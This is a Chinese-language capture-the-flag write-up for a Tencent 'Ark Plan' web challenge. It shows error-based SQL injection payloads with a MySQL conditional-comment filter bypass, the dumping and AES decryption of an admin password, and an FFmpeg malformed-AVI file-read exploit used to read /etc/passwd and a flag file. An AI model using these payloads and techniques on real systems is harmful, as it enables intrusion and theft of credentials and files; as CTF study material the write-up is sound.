上古時代,大洪水降世,毀天滅地。唯有諾亞得到神啟,將地球上所有動物各帶一對躲入方舟,延續了人類文明的火種。活在現代世界的你,沒想到有一天自己也要承擔起這樣拯救世界的責任。
騰訊安全平臺部得到情報,一個黑暗勢力正在秘密研制足以毀滅世界的武器,為了掩人耳目,研究的核心文件被放在一個看上去平平無奇的網站上。騰訊方舟計劃號召各路英雄,去獲取項目的核心文件,守護人類文明拯救世界,而你正是其中一員……
http://123.59.71.217
備用 http://120.132.54.253
經過嘗試發現 , 在注冊的時候 , phone 這個參數之后添加單引號會引發報錯
Error:You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version
for the right syntax to use near ''1'')' at line 1
猜測注冊的SQL如下 :
$sql = "insert into users (username, password, phone) values ('$username', '$password', '$phone')";
這里嘗試利用報錯注入 :
然后經過嘗試發現 , 這里應該是過濾了 from 這個關鍵字
通過大小寫混寫也無法繞過
經過大佬提醒嘗試使用mysql的條件注釋
username=1&
phone=1'|updatexml(1,concat(0x7e,(
select group_concat(schema_name)/*!00000from*/ information_schema.schemata limit 0,1
),0x7e),1))--+&
password=1&
repassword=1
username=1&
phone=1'|updatexml(1,concat(
0x7e,(
select group_concat(table_name)/*!00000from*/ information_schema.tables
where table_schema='note' limit 0,1
),0x7e)
,1))--+&
password=1&
repassword=1
Error:XPATH syntax error: '~BjDjgKE8CEk5hA9z9FDH7otvGntinom'
Error:XPATH syntax error: '~DjgKE8CEk5hA9z9FDH7otvGntinomp~'
因此 secrectkey 應該是
BjDjgKE8CEk5hA9z9FDH7otvGntinomp
然后看看 user 表
這樣選擇會有問題 , 具體可以參考 :
可以為其取一個別名就可以正常 select 出數據
Error:XPATH syntax error: '~1|fangzh0u|mIiD2wpTUTnWDzJO6d32'
Error:XPATH syntax error: '~|mIiD2wpTUTnWDzJO6d329w==|~'
我們的目標是 :
id : 1
name : fangzh0u
password : mIiD2wpTUTnWDzJO6d329w==
密碼明顯被加密過 , 根據之前獲取到的 secrectkey 可以推斷出
這個 secrectkey 可能就是用來加密明文密碼的密匙
我們來注冊一個用戶測試一下
這里注冊了一個用戶名 , 密碼都為 1 的用戶
然后通過注入來得到密碼的密文
Error:XPATH syntax error: '~11612|1|9j9Rf1QtQMjIrjNef74UeQ='
隊友看出了這個應該是 AES 加密
測試如下 :
http://aes.online-domain-tools.com/
id : 1
name : fangzh0u
password : tencent123
上傳一個 avi 的視頻 , 服務器會將其轉換為 mp4 格式
根據文章 : http://www.freebuf.com/vuls/138377.html
下載利用腳本 , 嘗試讀取 /etc/passwd 文件
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin.git
無法成功讀取 , 但是別的文件是可以正常讀取的
隊友猜想可能是過濾掉了 /etc/passwd 文件 , 嘗試直接讀取 php 文件 , 發現是可以正常讀取的
隊友提示用 /etc/./passwd 來代替 /etc/passwd 成功讀取到 passwd 文件
如下圖
python3 gen_xbin_avi.py file:///etc/./passwd etc_passwd.avi
發現存在用戶名 :
s0m3b0dy
猜測 flag 在該用戶的家目錄下
再次利用 freebuf 上的 python 腳本構造畸形 avi 文件
python3 gen_xbin_avi.py file:///home/s0m3b0dy/flag flag.avi
上傳 , 服務器處理后下載 mp4 文件即可成功讀取到 flag